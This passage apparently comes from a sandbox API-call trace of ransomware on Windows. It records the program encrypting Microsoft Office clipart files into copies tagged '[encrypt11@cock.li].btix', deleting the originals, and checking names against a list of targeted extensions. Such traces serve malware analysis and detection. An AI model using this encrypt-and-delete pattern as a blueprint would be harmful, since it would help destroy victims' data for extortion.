Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0151.173] GetLastError () returned 0x0 [0151.173] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.174] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.175] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.175] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.175] SetEndOfFile (hFile=0x388) returned 1 [0151.175] CloseHandle (hObject=0x388) returned 1 [0151.175] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.175] SetEndOfFile (hFile=0x384) returned 1 [0151.176] CloseHandle (hObject=0x384) returned 1 [0151.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0151.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.177] lstrlenW (lpString=".doc") returned 4 [0151.177] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.177] lstrlenW (lpString=".docx") returned 5 [0151.177] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0151.177] lstrlenW (lpString=".pdf") returned 4 [0151.177] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.177] lstrlenW (lpString=".xls") returned 4 [0151.177] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.177] lstrlenW (lpString=".xlsx") returned 5 [0151.177] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0151.177] lstrlenW (lpString=".ppt") returned 4 [0151.177] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.177] lstrlenW (lpString=".zip") returned 4 [0151.177] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.177] lstrlenW (lpString=".rar") returned 4 [0151.177] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.177] lstrlenW (lpString=".bz2") returned 4 [0151.178] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.178] lstrlenW (lpString=".7z") returned 3 [0151.178] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.178] lstrlenW (lpString=".dbf") returned 4 [0151.178] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.178] lstrlenW (lpString=".1cd") returned 4 [0151.178] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.178] lstrlenW (lpString=".jpg") returned 4 [0151.178] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.178] lstrlenW (lpString=".doc") returned 4 [0151.178] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.178] lstrlenW (lpString=".docx") returned 5 [0151.178] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0151.178] lstrlenW (lpString=".pdf") returned 4 [0151.178] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.178] lstrlenW (lpString=".xls") returned 4 [0151.178] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.178] lstrlenW (lpString=".xlsx") returned 5 [0151.178] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0151.178] lstrlenW (lpString=".ppt") returned 4 [0151.178] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.178] lstrlenW (lpString=".zip") returned 4 [0151.179] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.179] lstrlenW (lpString=".rar") returned 4 [0151.179] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.179] lstrlenW (lpString=".bz2") returned 4 [0151.179] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.179] lstrlenW (lpString=".7z") returned 3 [0151.179] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.179] lstrlenW (lpString=".dbf") returned 4 [0151.179] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.179] lstrlenW (lpString=".1cd") returned 4 [0151.179] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0151.179] lstrlenW (lpString=".jpg") returned 4 [0151.179] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.179] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.179] lstrlenW (lpString="J0101866.BMP") returned 12 [0151.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.179] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=32184) returned 1 [0151.179] CloseHandle (hObject=0x384) returned 1 [0151.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0151.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.180] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.180] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0151.180] GetLastError () returned 0x0 [0151.180] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.181] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.183] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.183] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.183] SetEndOfFile (hFile=0x388) returned 1 [0151.183] CloseHandle (hObject=0x388) returned 1 [0151.183] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.183] SetEndOfFile (hFile=0x384) returned 1 [0151.184] CloseHandle (hObject=0x384) returned 1 [0151.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.184] lstrlenW (lpString=".doc") returned 4 [0151.184] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.184] lstrlenW (lpString=".docx") returned 5 [0151.184] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0151.184] lstrlenW (lpString=".pdf") returned 4 [0151.184] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.184] lstrlenW (lpString=".xls") returned 4 [0151.185] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString=".xlsx") returned 5 [0151.185] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0151.185] lstrlenW (lpString=".ppt") returned 4 [0151.185] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.185] lstrlenW (lpString=".zip") returned 4 [0151.185] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString=".rar") returned 4 [0151.185] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString=".bz2") returned 4 [0151.185] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString=".7z") returned 3 [0151.185] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.185] lstrlenW (lpString=".dbf") returned 4 [0151.185] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.185] lstrlenW (lpString=".1cd") returned 4 [0151.185] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.185] lstrlenW (lpString=".jpg") returned 4 [0151.185] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.185] lstrlenW (lpString=".doc") returned 4 [0151.185] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.185] lstrlenW (lpString=".docx") returned 5 [0151.185] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0151.186] lstrlenW (lpString=".pdf") returned 4 [0151.186] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.186] lstrlenW (lpString=".xls") returned 4 [0151.186] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.186] lstrlenW (lpString=".xlsx") returned 5 [0151.186] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0151.186] lstrlenW (lpString=".ppt") returned 4 [0151.186] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.186] lstrlenW (lpString=".zip") returned 4 [0151.186] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.186] lstrlenW (lpString=".rar") returned 4 [0151.186] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.186] lstrlenW (lpString=".bz2") returned 4 [0151.186] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.186] lstrlenW (lpString=".7z") returned 3 [0151.186] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.186] lstrlenW (lpString=".dbf") returned 4 [0151.186] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.186] lstrlenW (lpString=".1cd") returned 4 [0151.186] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0151.186] lstrlenW (lpString=".jpg") returned 4 [0151.186] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.186] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.187] lstrlenW (lpString="J0101867.BMP") returned 12 [0151.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.187] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=32616) returned 1 [0151.187] CloseHandle (hObject=0x384) returned 1 [0151.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0151.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.187] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.187] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0151.188] GetLastError () returned 0x0 [0151.188] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0151.189] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0151.190] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.190] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.190] SetEndOfFile (hFile=0x388) returned 1 [0151.190] CloseHandle (hObject=0x388) returned 1 [0151.190] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.190] SetEndOfFile (hFile=0x384) returned 1 [0151.191] CloseHandle (hObject=0x384) returned 1 [0151.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0151.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.192] lstrlenW (lpString=".doc") returned 4 [0151.192] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString=".docx") returned 5 [0151.192] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0151.192] lstrlenW (lpString=".pdf") returned 4 [0151.192] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString=".xls") returned 4 [0151.192] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString=".xlsx") returned 5 [0151.192] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0151.192] lstrlenW (lpString=".ppt") returned 4 [0151.192] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.192] lstrlenW (lpString=".zip") returned 4 [0151.192] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString=".rar") returned 4 [0151.192] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString=".bz2") returned 4 [0151.192] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString=".7z") returned 3 [0151.192] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.192] lstrlenW (lpString=".dbf") returned 4 [0151.192] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.193] lstrlenW (lpString=".1cd") returned 4 [0151.193] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.193] lstrlenW (lpString=".jpg") returned 4 [0151.193] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.193] lstrlenW (lpString=".doc") returned 4 [0151.193] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString=".docx") returned 5 [0151.193] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0151.193] lstrlenW (lpString=".pdf") returned 4 [0151.193] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString=".xls") returned 4 [0151.193] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString=".xlsx") returned 5 [0151.193] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0151.193] lstrlenW (lpString=".ppt") returned 4 [0151.193] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.193] lstrlenW (lpString=".zip") returned 4 [0151.193] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString=".rar") returned 4 [0151.193] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString=".bz2") returned 4 [0151.193] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.193] lstrlenW (lpString=".7z") returned 3 [0151.193] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.193] lstrlenW (lpString=".dbf") returned 4 [0151.193] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.194] lstrlenW (lpString=".1cd") returned 4 [0151.194] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0151.194] lstrlenW (lpString=".jpg") returned 4 [0151.194] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.559] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.559] lstrlenW (lpString="J0105240.WMF") returned 12 [0151.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.559] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=11532) returned 1 [0151.559] CloseHandle (hObject=0x348) returned 1 [0151.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0151.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.559] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.559] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.562] GetLastError () returned 0x0 [0151.562] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0151.563] WriteFile 